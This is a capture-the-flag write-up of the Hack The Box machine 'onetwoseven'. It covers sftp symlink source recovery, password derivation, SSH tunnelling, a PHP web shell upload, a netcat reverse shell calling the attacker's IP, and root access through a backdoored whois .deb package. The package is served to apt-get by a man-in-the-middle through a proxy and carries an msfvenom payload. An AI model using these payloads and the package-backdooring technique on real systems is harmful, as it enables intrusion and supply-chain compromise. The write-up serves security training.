Tags: hack-the-box, ssh tunneling, tunnels, sftp, php, apt, apt-get, man-in-the-middle, mitm, unrestricted-file-upload, sudo, linux, source-code-analysis
My hat goes off to onetwoseven’s creator jkr; this box was top-notch. The flow of the box was seamless. Enumeration felt like a natural progression and the breadcrumbs were plentiful and placed in logical locations (often in more than one spot to facilitate multiple avenues of approach). I was really impressed with his first box submission. His second box Writeup is still active and not as difficult, but still high quality. At the time of this writing, onetwoseven is about to be replaced by another jkr box: zetta. I’m definitely looking forward to it!
As usual, we start with a masscan
followed by a targeted nmap
.
masscan -e tun0 --ports U:0-65535,0-65535 --rate 700 -oL masscan.10.10.10.133.all 10.10.10.133
══════════════════════════════════════════════════════════════════════════════════════════════
open tcp 22 10.10.10.133 1562031220
open tcp 80 10.10.10.133 1562031259
nmap -p 22,80 -sC -sV -oA nmap.10.10.10.133 10.10.10.133
════════════════════════════════════════════════════════
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 48:6c:93:34:16:58:05:eb:9a:e5:5b:96:b6:d5:14:aa (RSA)
| 256 32:b7:f3:e2:6d:ac:94:3e:6f:11:d8:05:b9:69:58:45 (ECDSA)
|_ 256 35:52:04:dc:32:69:1a:b7:52:76:06:e3:6c:17:1e:ad (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Page moved.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Normally, this is where we would perform forced browsing or some form of automated web scan. However, there is rate-limiting, so we need to manually browse the site. There’s a portion of the site that tells us as much, though most folks found out the hard way.
While browsing, we come across http://10.10.10.133/signup.php
and see that it provides us credentials for sftp
.
We also see the use of a domain name onetwoseven.htb
. Before moving on, let’s update our local DNS entry for the box in /etc/hosts
.
/etc/hosts
══════════
-------------8<-------------
10.10.10.133 onetwoseven.htb
-------------8<-------------
With that done, let’s check out what we have access to on the remote filesystem.
We’ll start by accessing the sftp server as our pre-generated user. Because uploading and executing a web shell does not work, let’s check out what commands are available to us with the help
command.
sftp ots-yZjFkZWY@onetwoseven.htb
ots-yZjFkZWY@onetwoseven.htb's password: 122f1def
Connected to ots-yZjFkZWY@onetwoseven.htb.
sftp> help
-------------8<-------------
lmkdir path Create local directory
ln [-s] oldpath newpath Link remote file (-s for symlink)
lpwd Print local working directory
ls [-1afhlnrSt] [path] Display remote directory listing
-------------8<-------------ln -
symlink oldpath newpath Symlink remote file
-------------8<-------------
Creating a symlink sounds like it has potential and the public_html folder is writable; let’s see where it takes us.
Let’s begin with some source code recovery. We’ll utilize the symlink command to allow us to browse the raw php files. Some files of interest that we can examine are signup.php
and index.php
. If we try to symlink to these files using the same name (i.e. with the php extension), we’ll run into problems with the server trying to execute the php. Instead, we’ll drop the php extension so we can recover the source code.
sftp> ln -s /var/www/html/index.php index
sftp> ln -s /var/www/html/signup.php signup
Let’s take a look at index
first. We can’t view/get the files from within the sftp shell. The trick here is that we need to enter view-source:http://10.10.10.133/~ots-yZjFkZWY/index
in our browser. When we do, we’re presented with the php source code. In it, we can see a breadcrumb. It lets us know that if we are accessing this page from the server itself (127.0.0.1) or 104.24.0.54, a link to the admin panel will be visible. The admin panel itself appears to be listening on port 60080
. We’ll keep this in mind as we progress.
The next file, signup
, contains a juicy piece of information. Specifically, it shows us how usernames and passwords are generated for the sftp logins.
Let’s confirm what the username function does with our ip address.
1php > $hash = md5('10.10.14.3');
2php > print $hash;
3122f1def6a8b5601963ee3163b041696
4
5php > $first_username = substr($hash, 0, 8);
6php > print $first_username;
7122f1def
8
9php > print base64_encode($first_username);
10MTIyZjFkZWY=
11php > $encoded_username = base64_encode($first_username);
12
13php > print str_replace('=', '', $encoded_username);
14MTIyZjFkZWY
15php > $replaced_username = str_replace('=', '', $encoded_username);
16
17php > print substr($replaced_username, 3);
18yZjFkZWY
19
20php > $final = substr($replaced_username, 3);
21php > print "ots-" . $final;
22ots-yZjFkZWY
The password is much less complex.
php > $hash = md5('10.10.14.3');
php > print substr($hash, 0, 8);
122f1def
Ok, so why do we care? If any other users follow the ots- pattern, we can get their password! Let’s check out /etc/passwd
and see if there are any users of interest.
Back in our sftp shell, we can symlink /etc/passwd
and check out the contents.
sftp> ln -s /etc/passwd passwd
ots-yODc2NGQ:x:999:999:127.0.0.1:/home/web/ots-yODc2NGQ:/bin/false
ots-yZjFkZWY:x:1001:1001:10.10.14.3:/home/web/ots-yZjFkZWY:/bin/false
In the output above, we can see our username. The nice thing here is that the ip address is noted in the GECOS field of each /etc/passwd entry. Let’s take the next logical step and grab the password for the user associated with 127.0.0.1!
php > print substr(md5('127.0.0.1'), 0, 8);
f528764d
There we have it, a set of credentials! Let’s use them on the sftp service.
sftp ots-yODc2NGQ@onetwoseven.htb
ots-yODc2NGQ@onetwoseven.htb's password: f528764d
Connected to ots-yODc2NGQ@onetwoseven.htb.
sftp> ls -al
drwxr-xr-x 3 0 0 4096 Feb 15 2019 .
drwxr-xr-x 3 0 0 4096 Feb 15 2019 ..
drwxr-xr-x 2 999 999 4096 Feb 15 2019 public_html
-r--r----- 1 0 999 33 Feb 15 2019 user.txt
After logging in, we see user.txt waiting for us. All that’s left is to download it and turn it in!
sftp> get user.txt
Fetching /user.txt to user.txt
/user.txt 100% 33 0.3KB/s 00:00
cat user.txt
════════════
93a4...
Hol’up. We don’t even have a shell? Let’s fix that as we go for root.
Let’s revisit the sftp server yet again. This time, we’ll link the root of the filesystem (or at least our view of it).
sftp> cd public_html/
sftp> ln -s / root
We’ll make use of our browser again to view the results.
Drilling down into the folders, the only file of interest we have permission to browse to at this point is .login.php.swp
, located at http://onetwoseven.htb/~ots-mODVhZTM/var/www/html-admin/
.
Let’s download the file and analyze its contents. Running the file
command on .login.php.swp
shows us that it’s a vim swap file. (firefox may have named the file login.php.swp on your behalf, don’t sweat it. The following steps work either way)
file .login.php.swp
═══════════════════
login.php.swp: Vim swap file, version 8.0, pid 1861, user root, host onetwoseven, file /var/www/html-admin/login.php
In this case, when vim opened the login.php
file for editing, it created a hidden swap file .login.php.swp
. This is pretty standard vim behavior and it’s quite common to see these laying around as a result of vim exiting in a weird state or vim editors being left open. Luckily for us, having the swap file makes it incredibly easy to recover the original file.
vim -r .login.php.swp
═════════════════════
Using swap file ".login.php.swp"
"/var/www/html-admin/login.php" [New DIRECTORY]
Recovery completed. You should check if everything is OK.
(You might want to write out this file under another name
and run diff with the original file to check for changes)
You may want to delete the .swp file now.
Press ENTER or type command to continue
Once we’re presented with the prompt above, we can press ENTER and revel in the glory of our freshly recovered file. There are a few lines that we’re definitely concerned with; we’ll start with line #1.
1<?php if ( $_SERVER['SERVER_PORT'] != 60080 ) { die(); } ?>
2
Line #1 tells us that we can expect the server running this php file to be on port 60080. Recall from our source code recovery that we’ve seen this port listed before. With all we’ve seen so far, it’s safe to assume that it will be running on localhost.
Next up, line #26 lets us know that this php file is tied to their backend administration.
26<a class="navbar-brand" href="/login.php">OneTwoSeven - Administration Backend</a>
The really juicy stuff is on line #78; an admin username and password hash!
78if ($_POST['username'] == 'ots-admin' && hash('sha256',$_POST['password']) == '11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8') {
Often, we want to reach for the cool tools like hashcat. However, we can instead just use crackstation.net to get the cleartext password.
We’ve got creds to the admin panel, but we can’t get to the site (yet). Let’s try setting up an ssh tunnel to the admin panel.
ssh ots-yZjFkZWY@onetwoseven.htb
ots-yZjFkZWY@onetwoseven.htb's password: 122f1def
This service allows sftp connections only.
Connection to onetwoseven.htb closed.
Ok, we can’t ssh, or can we? Let’s add a -v
to the ssh command and take a closer look.
ssh -v ots-yZjFkZWY@onetwoseven.htb
OpenSSH_8.0p1 Debian-4, OpenSSL 1.1.1c 28 May 2019
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 19: Applying options for *
-------------8<-------------
debug1: Next authentication method: password
ots-yZjFkZWY@onetwoseven.htb's password: 122f1def
debug1: Authentication succeeded (password).
Authenticated to onetwoseven.htb ([10.10.10.133]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
The conclusion we can draw from the above output is that the connection succeeds and the ssh connection gets established before it is disconnected by the server. We’ll use this fact to set up an ssh forward tunnel to hit port 60080 on the server’s loopback address.
If you’re new to ssh tunneling, check out my writeup of Vault and follow along. There are a lot of traffic bending techniques to be learned on that one.
Two ssh options will assist us in setting up a tunnel without an interactive shell. Let’s check them out.
ssh -Nf ots-yZjFkZWY@onetwoseven.htb -L 60080:127.0.0.1:60080
ots-yZjFkZWY@onetwoseven.htb's password: 122f1def
ssh options used:
-N
Do not execute a remote command. This is useful for just
forwarding ports.
-f
Requests ssh to go to background just before command execution.
-L
Specifies that connections to the given TCP port on the local
(client) host are to be forwarded to the given host and port on
the remote side.
Below we see a breakdown of the tunneling options used.
forward tunnel options used:
60080
The port on the local end to listen on; (kali:60080)
127.0.0.1
Where the traffic is destined after reaching 60080 from the point of view
of the creator of the tunnel (traffic will start on kali and be sent
through 10.10.10.133 to finally hit 127.0.0.1 from 10.10.10.133's
point of view)
60080
The port to which traffic is destined.
After running the command above, we’ll take a look at netstat on kali. When we do, we should see a listener on port 60080.
netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:60080 0.0.0.0:* LISTEN 12068/ssh
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1/init
tcp6 0 0 ::1:60080 :::* LISTEN 12068/ssh
tcp6 0 0 :::111 :::* LISTEN 1/init
tcp6 0 0 127.0.0.1:8080 :::* LISTEN 27777/java
We can see that there is a listener on 60080 on our kali machine. Any traffic sent there will be forwarded to 10.10.10.133’s localhost interface on port 60080. Knowing that, we can browse to the local tunnel which will move all of our traffic through the tunnel over to the target.
Let’s check it out!
With our tunnel in place, we can browse to http://127.0.0.1:60080 and see the login screen. We’ll proceed with our creds ots-admin:Homesweethome1
After logging in, we’re greeted by the addons menu.
The most obvious thing to try is the big Plugin Upload section at the bottom. We can use the developer tools to enable the Submit Query
button.
When we view the button in the dev tools, we see a disabled attribute on the \<input\>
tag.
We can simply remove the attribute to enable the button.
Let’s try to upload a simple php web shell a try for funsies. While we’re at it, let’s capture the POST request in Burp, as it will come in handy later.
shell.php
════════════════
<?php system($_GET['epi']); ?>
The website responds with a 404 error.
If we browse to 127.0.0.1:60080/menu.php?addon=addons/ots-man-addon.php
, we can see a note that tells us disabled features result in 404 errors. We can assume that there has been an attempt to disable file upload functionality.
There is also a note on the page above:
The addon manager must not be executed directly but only via the provided RewriteRules
So, when we want to download one of the files listed on the menu, we request it via a URL similar to this: http://127.0.0.1:60080/addon-download.php?addon=[SOME_PLUGIN]
. Whenever addon-download.php
is requested, the webserver internally rewrites the request to be addons/ots-man-addon.php
. Notice that both addon-upload.php
and addon-download.php
are both handled by the same file: ots-man-addon.php
.
Since we’re most interested in the file responsible for handling file upload and download, let’s use one of the handy links to the side of each addon ([DL]
) and grab ots-man-addon.php
to analyze its source.
Below is the snippet of code we’re concerned with. Everything below what’s shown here is unrelated to getting our shell on target.
1<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /login.php"); }; if ( strpos($_SERVER['REQUEST_URI'], '/addons/') !== false ) { die(); };
2# OneTwoSeven Admin Plugin
3# OTS Addon Manager
4switch (true) {
5 # Upload addon to addons folder.
6 case preg_match('/\/addon-upload.php/',$_SERVER['REQUEST_URI']):
7 if(isset($_FILES['addon'])){
8 $errors= array();
9 $file_name = basename($_FILES['addon']['name']);
10 $file_size =$_FILES['addon']['size'];
11 $file_tmp =$_FILES['addon']['tmp_name'];
12
13 if($file_size > 20000){
14 $errors[]='Module too big for addon manager. Please upload manually.';
15 }
16
17 if(empty($errors)==true) {
18 move_uploaded_file($file_tmp,$file_name);
19 header("Location: /menu.php");
20 header("Content-Type: text/plain");
21 echo "File uploaded successfull.y";
22 } else {
23 header("Location: /menu.php");
24 header("Content-Type: text/plain");
25 echo "Error uploading the file: ";
26 print_r($errors);
27 }
28 }
29 break;
30
The first piece of code that concerns us is line 1. Below, we have line 1 in an easier to read format.
1<?php
2session_start();
3
4if (!isset ($_SESSION['username']))
5{
6 header("Location: /login.php");
7};
8if ( strpos($_SERVER['REQUEST_URI'], '/addons/') !== false )
9{
10 die();
11};
12
/addons/
is found anywhere in our URL, the server will sever our connection and our request will never proceed through the rest of the codeThis means we can’t use the php file directly, but we can use the RewriteRules discussed above to get our requests to this file.
Next, we’ll take a look at hitting the case statement that controls entry into the code branch where file uploads occur.
6case preg_match('/\/addon-upload.php/',$_SERVER['REQUEST_URI']):
The preg_match
works on regular expression, so it’s slightly different than the strpos
discussed above. We want the code on line 6 to evaluate to true to follow that branch of code. That means that we need to include the string /addon-upload.php
somewhere in our URL. There’s a nice resource I use when playing with regex https://regex101.com. In the screenshot below, we’ve checked the radio button on the left to designate php-style regex. The regex itself doesn’t include the first and last /
s. Those forward slashes denote the beginning and end of the regular expression, nothing more.
Recall our request that we captured in Burp earlier. We sent a request to http://127.0.0.1:60080/addon-upload.php
and got a 404 response. We need a way to include the required string, but not get the 404.
From our discussion about RewriteRules, we know that there are two methods of requesting this file. We’re going to have to request http://127.0.0.1:60080/addon-download.php
to even get a request through to the file. Then, we just need to include the required string in the request.
Let’s go back to our captured request in Burp and alter the URL to match what we’ve found.
The only change we made is highlighted on the left. We changed the URL and resent the file upload request we captured earlier. This time, we clearly see the successful response message.
All that’s left to do is check that our shell.php works as intended.
For the sake of moving forward, let’s grab an interactive shell. First, spin up a listener.
nc -nvlp 12345
And then, trigger the callback.
http://127.0.0.1:60080/addons/shell.php?epi=nc -e /bin/bash 10.10.14.3 12345
Finally, let’s grab a TTY.
python -c 'import pty;pty.spawn("/bin/bash")'
www-admin-data@onetwoseven:/var/www/html-admin/addons$
\o/ - access level: www-admin-data
A simple sudo -l
will show us the way forward.
Matching Defaults entries for www-admin-data on onetwoseven:
env_reset, env_keep+="ftp_proxy http_proxy https_proxy no_proxy",
mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-admin-data may run the following commands on onetwoseven:
(ALL : ALL) NOPASSWD: /usr/bin/apt-get update, /usr/bin/apt-get upgrade
We see some interesting environment variables are preserved when using sudo. The first thing that comes to mind is being able to proxy connections in a way that will facilitate exploitation.
One piece of information we need to examine to confirm our suspicions is what repositories the box is configured to use. We can do that by looking in /etc/apt/sources.list.d
for any .list files. These files contain repository URLs and some additional metadata for the package manager to use.
cat /etc/apt/sources.list.d/onetwoseven.list
════════════════════════════════════════════
# OneTwoSeven special packages - not yet in use
deb http://packages.onetwoseven.htb/devuan ascii main
Nice! An unused repository. We’ll need to keep this URL in mind for later.
A package manager (like apt-get et. al) requests software/libraries/updates etc from remote repositories. Based on the fact that we can call both apt-get update
and apt-get upgrade
without a password, we can control proxy related environment variables, and that there is an unused repository configured; we can be reasonably confident that we’re able to perform a man-in-the-middle attack against the package manager. We’ll use the MitM attack to install backdoored software on the machine. Let’s see what that looks like.
A word about packages from Debian’s wiki
A Debian package is a collection of files that allow for applications or libraries to be distributed via the Debian package management system. The aim of packaging is to allow the automation of installing, upgrading, configuring, and removing computer programs for Debian in a consistent manner.
Let’s start by selecting a legitimate package installed on the system. We do this because the commands we can run are update
and upgrade
. This means we can’t install new software. When we run update
, the package manager will see there’s a new package. When we run upgrade
, the package manager will then download and install that updated (backdoored) package. We’ll use dpkg
to get a list of installed software.
dpkg -l
═══════
||/ Name Version Architecture Description
+++-======================================-==================================-============-===============================================================================
ii adduser 3.115 all add and remove users and groups
ii apache2 2.4.25-3+deb9u6 amd64 Apache HTTP Server
ii apache2-bin 2.4.25-3+deb9u6 amd64 Apache HTTP Server (modules and other binary files)
-------------8<-------------
ii whiptail 0.52.19-1+b1 amd64 Displays user-friendly dialog box
ii whois 5.2.17~deb9u amd64 intelligent WHOIS client
ii xauth 1:1.0.9-1+b2 amd64 X authentication utility
-------------8<-------------
There is no rhyme or reason here, so let’s use the whois package. To find the proper version of the package we need, we’ll ask the package manager what’s currently installed.
apt-cache show whois
════════════════════
Package: whois
Version: 5.2.17~deb9u1
Installed-Size: 343
Maintainer: Marco d'Itri <md@linux.it>
Architecture: amd64
Depends: libc6 (>= 2.15), libidn11 (>= 1.13)
Description: intelligent WHOIS client
Description-md5: 28e9df99a50bdfe098edfcf773417990
Tag: implemented-in::c, interface::commandline, network::client,
protocol::ip, protocol::ipv6, role::program, suite::gnu, use::checking,
use::searching
Section: net
Priority: optional
Filename: pool/DEBIAN/main/w/whois/whois_5.2.17~deb9u1_amd64.deb
Size: 76772
MD5sum: ac528a3b41bcdc8e78084d61e4aa2957
SHA256: 296aa4d2bb6ee15c7db129a4a3a0c8abbf1acb75770b4ee9241a47ee2ca37551
A quick google search for 5.2.17~deb9u1
brings us to packages.debian.org/stretch/whois
. Clicking through to the AMD64 download gets us the legitimate .deb file that we’ll be modifying. Below the wget
command is included for your convenience.
wget http://http.us.debian.org/debian/pool/main/w/whois/whois_5.2.17~deb9u1_amd64.deb
Now that we’ve got our package, we can make our malicious modifications. We’ll begin by extracting the package.
dpkg-deb -R whois_5.2.17~deb9u1_amd64.deb backdoored-whois
The command above should give us the following directory structure.
backdoored-whois/
├── DEBIAN
│ ├── control
│ └── md5sums
└── usr
├── bin
│ ├── mkpasswd
│ └── whois
└── share
├── doc
│ └── whois
-------------8<-------------
├── locale
│ ├── cs
│ │ └── LC_MESSAGES
│ │ └── whois.mo
-------------8<-------------
└── man
├── man1
│ ├── mkpasswd.1.gz
│ └── whois.1.gz
└── man5
└── whois.conf.5.gz
Our next step is to create our callback binary; we’ll do this using msfvenom
.
msfvenom -p linux/x64/shell_reverse_ipv6_tcp LHOST=dead:beef:2::1001 LPORT=12345 -f elf -o backdoored-whois/usr/bin/revshell
═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 90 bytes
Final size of elf file: 210 bytes
Saved as: backdoored-whois/usr/bin/revshell
You may be wondering, why ipv6? The answer is simple; I wrote the linux 64-bit bind/reverse shell payloads and enjoy putting them to use.
Don’t forget to make ./usr/bin/revshell
executable!
chmod +x ./usr/bin/revshell
Next, we’ll create our postinst maintainer script. The postinst script will run after all the contents of the package are unpacked. We likely could use some of the other maintainer scripts, but we’re going to use a script to call our binary, so we want the binary to be unpacked to disk before it’s executed.
There is more information in the debian packaging documentation found here and here if you’re interested.
backdoored-whois/DEBIAN/postinst
════════════════════════════
#!/bin/sh
/usr/bin/revshell &
Don’t forget to make postinst executable!
chmod 755 backdoored-whois/DEBIAN/postinst
With that done, we can repackage our malicious whois update.
dpkg-deb -b backdoored-whois
════════════════════════════
dpkg-deb: building package 'whois' in 'backdoored-whois.deb'.
That’s it for the package, now we need to build the repository structure. We’ll do that next.
Recall that the target’s package manager is going to reach out to us as though we are the package repository. The package manager is going to expect a certain directory structure as well as a few files to be present. We’ll go ahead and create those now.
First, let’s create a working directory for the repository and move our backdoored-whois.deb
into it.
mkdir barebones-repo
mv backdoored-whois.deb barebones-repo/
cd barebones-repo
Next, we’ll create a Release
file inside barebones-repo
. According to the Debian wiki, “A Release file shall contain meta-information about the distribution and checksums.” To create a Release
file, we’ll just copy and paste the output from apt-cache show whois
from the target system (remember, we already ran this once above).
apt-cache show whois
════════════════════
Package: whois
Version: 5.2.17~deb9u1
Installed-Size: 343
Maintainer: Marco d'Itri <md@linux.it>
Architecture: amd64
Depends: libc6 (>= 2.15), libidn11 (>= 1.13)
Description: intelligent WHOIS client
Description-md5: 28e9df99a50bdfe098edfcf773417990
Tag: implemented-in::c, interface::commandline, network::client,
protocol::ip, protocol::ipv6, role::program, suite::gnu, use::checking,
use::searching
Section: net
Priority: optional
Filename: pool/DEBIAN/main/w/whois/whois_5.2.17~deb9u1_amd64.deb
Size: 76772
MD5sum: ac528a3b41bcdc8e78084d61e4aa2957
SHA256: 296aa4d2bb6ee15c7db129a4a3a0c8abbf1acb75770b4ee9241a47ee2ca37551
Now we need to alter a few of the fields in the Release
file. Specifically, we need to update the Version, Filename, Size, MD5sum, and SHA256 fields.
The first two changes are simple. We just increment the version number and the filename. We do this so that the package manager recognizes the need to update this particular package (i.e. the one installed on the target system is older than the one in the repo).
OLD LINE: Version: 5.2.17~deb9u1
NEW LINE: Version: 5.2.17~deb9u2
OLD LINE: Filename: pool/DEBIAN/main/w/whois/whois_5.2.17~deb9u1_amd64.deb
NEW LINE: Filename: pool/DEBIAN/main/w/whois/whois_5.2.17~deb9u2_amd64.deb
After that, we’ll update the Size field. We just need the new size of our malicious .deb.
ls -l backdoored-whois.deb
-rw-r--r-- 1 root root 77276 Aug 30 06:36 backdoored-whois.deb
OLD LINE: Size: 76772
NEW LINE: Size: 77276
Next, we update the MD5sum field. To update it, we’ll need to grab the md5 hash of our .deb.
md5sum backdoored-whois.deb
2845688fc677c713b2ef8b187d0aeb71 backdoored-whois.deb
OLD LINE: MD5sum: ac528a3b41bcdc8e78084d61e4aa2957
NEW LINE: MD5sum: 2845688fc677c713b2ef8b187d0aeb71
Finally, the SHA256 field.
sha256sum backdoored-whois.deb
725c55a28c783e6f6846694153fd2dfbf78df11fdccaf839288562aa55a67217 backdoored-whois.deb
OLD LINE: SHA256: 296aa4d2bb6ee15c7db129a4a3a0c8abbf1acb75770b4ee9241a47ee2ca37551
NEW LINE: SHA256: 725c55a28c783e6f6846694153fd2dfbf78df11fdccaf839288562aa55a67217
Great, now our Release
file is complete! Next up, we need a Packages
file.
Fortunately, the content is the same as Release
, so a simple copy is sufficient.
cp Release Packages
Another requirement we need to satisfy is that we need a gzipped Packages
file. Again, this is a simple step.
gzip Packages -c > Packages.gz
We’re nearing the end of the repository setup steps. We now need to create the directory structure that the package manager expects to see.
My actual process for figuring this out was to have all of the MitM pieces in place (described below) and trying to run
apt-get update
. Each time I did, it would error out with messages likeE: Failed to fetch http://packages.onetwoseven.htb/devuan/dists/ascii/main/binary-amd64/Packages 404 File not found
. I repeatedly ran the command, checked the errors, and built the things that were needed.
The two mkdir
commands below will setup our repo directories.
mkdir -p devuan/dists/ascii/main/binary-amd64
mkdir -p devuan/pool/DEBIAN/main/w/whois
Finally, we need to put all of our files in their proper places. Part of this is renaming backdoored-whois.deb
to match the filename we used in the Release
file.
mv backdoored-whois.deb devuan/pool/DEBIAN/main/w/whois/whois_5.2.17~deb9u2_amd64.deb
mv Packages* devuan/dists/ascii/main/binary-amd64/
mv Release devuan/dists/ascii/
Our repo should look like this now.
barebones-repo/
└── devuan
├── dists
│ └── ascii
│ ├── main
│ │ └── binary-amd64
│ │ ├── Packages
│ │ └── Packages.gz
│ └── Release
└── pool
└── DEBIAN
└── main
└── w
└── whois
└── whois_5.2.17~deb9u2_amd64.deb
That’s it! We now have a minimal repo from which we can serve up our malicious package.
Alright, we’re in the home stretch. There are a few small steps we need to take to properly handle the requests that will originate on the target machine. To begin, we’ll set up a reverse ssh tunnel to get the traffic sent to the “proxy” back to our local machine.
ssh -Nf ots-yZjFkZWY@onetwoseven.htb -R 8002:127.1:8080
ots-yZjFkZWY@onetwoseven.htb's password: 122f1def
Where we used port 8002; the actual port doesn’t matter too much, as long as it isn’t already bound. Our proxy will listen on kali on port 8080, so that’s where we want the remote traffic to come to on kali’s localhost.
reverse tunnel options used:
8002
The port on the remote end to listen on; (10.10.10.133:8002)
127.1
Where the traffic flows after reaching 8002 from the point of view
of the creator of the tunnel (traffic dumps out on kali; the
creator's localhost)
8080
The port to which traffic is destined.
Next, we’ll set up the proxy. We’re going to use BurpSuite as our proxy. Burp listens on port 8080 by default. All we need to do is start it up. It’s dealer’s choice on how to get it started, click the icon or run the command below.
java -jar $(which burpsuite)
Also, ensure that Intercept is off.
Huzzah, we’ve set up our proxy! Now, remember when we looked at the repositories that the target machine is configured to use? We found the URL http://packages.onetwoseven.htb/devuan
. All of the requests sent to our proxy will ultimately be looking for the packages.onetwoseven.htb
subdomain. Since we’re impersonating this repository, we need to tell Burp that WE are deb packages.onetwoseven.htb
. We’ll do this by modifying /etc/hosts
.
1/etc/hosts
2══════════
3
4127.0.0.1 localhost packages.onetwoseven.htb
5127.0.1.1 kail
6-------------8<-------------
With that done, Burp will proxy the requests coming to it “out” to packages.onetwoseven.htb
which is really our kali’s localhost interface.
Our last step before exploitation is to start the webserver that will host the files in our repository.
cd barebones-repo
python3 -m http.server 80
Now all of the pieces are in place for us to MitM the package manager. Let’s see it in action!
Before running the exploit, we need an ipv6 listener (remember the msfvenom command?).
nc -vnl6p 12345
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::12345
Now, on the target machine, we first run apt-get update
followed by apt-get upgrade
sudo http_proxy=http://127.0.0.1:8002 apt-get update
════════════════════════════════════════════════════
Ign:1 http://packages.onetwoseven.htb/devuan ascii InRelease
Get:2 http://packages.onetwoseven.htb/devuan ascii Release [627 B]
-------------8<-------------
Fetched 1093 B in 12s (86 B/s)
Reading package lists... Done
W: The repository 'http://packages.onetwoseven.htb/devuan ascii Release' is not signed.
N: Data from such a repository can't be authenticated and is therefore potentially dangerous to use.
N: See apt-secure(8) manpage for repository creation and user configuration details.
W: Conflicting distribution: http://packages.onetwoseven.htb/devuan ascii Release (expected ascii but got )
E: Failed to fetch http://de.deb.devuan.org/merged/dists/ascii/main/binary-amd64/Packages Connection failed
E: Failed to fetch http://de.deb.devuan.org/merged/dists/ascii-security/main/binary-amd64/Packages Connection failed
E: Some index files failed to download. They have been ignored, or old ones used instead.
We see some warnings and errors in the output above, but they can be ignored.
For the upgrade
command, if we see whois
listed in the packages to be upgraded, we know that our exploit has at least partially worked; the package manager is going to try to upgrade the package.
sudo http_proxy=http://127.0.0.1:8002 apt-get upgrade
═════════════════════════════════════════════════════
Reading package lists... Done
Building dependency tree
Reading state information... Done
Calculating upgrade... Done
The following packages will be upgraded:
debian-archive-keyring tzdata whois
3 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 77.2 kB/426 kB of archives.
After this operation, 31.7 kB of additional disk space will be used.
Do you want to continue? [Y/n] y
y
WARNING: The following packages cannot be authenticated!
whois
Install these packages without verification? [y/N] y
y
Get:1 http://packages.onetwoseven.htb/devuan ascii/main amd64 whois amd64 5.2.17~deb9u2 [77.2 kB]
Fetched 77.2 kB in 0s (281 kB/s)
Reading changelogs... Done
-------------8<-------------
Setting up whois (5.2.17~deb9u1) ...
Processing triggers for man-db (2.7.6.1-2) ...
If all went well, we should see a connection come back to our netcat listener.
-------------8<-------------
Ncat: Connection from dead:beef::250:56ff:feb2:e2a6.
Ncat: Connection from dead:beef::250:56ff:feb2:e2a6:53952.
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
2d38...
There we go, we’ve successfully MitM’d a package manager to escalate privileges. High five!!
\o/ - root access
I hope you enjoyed this write-up or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.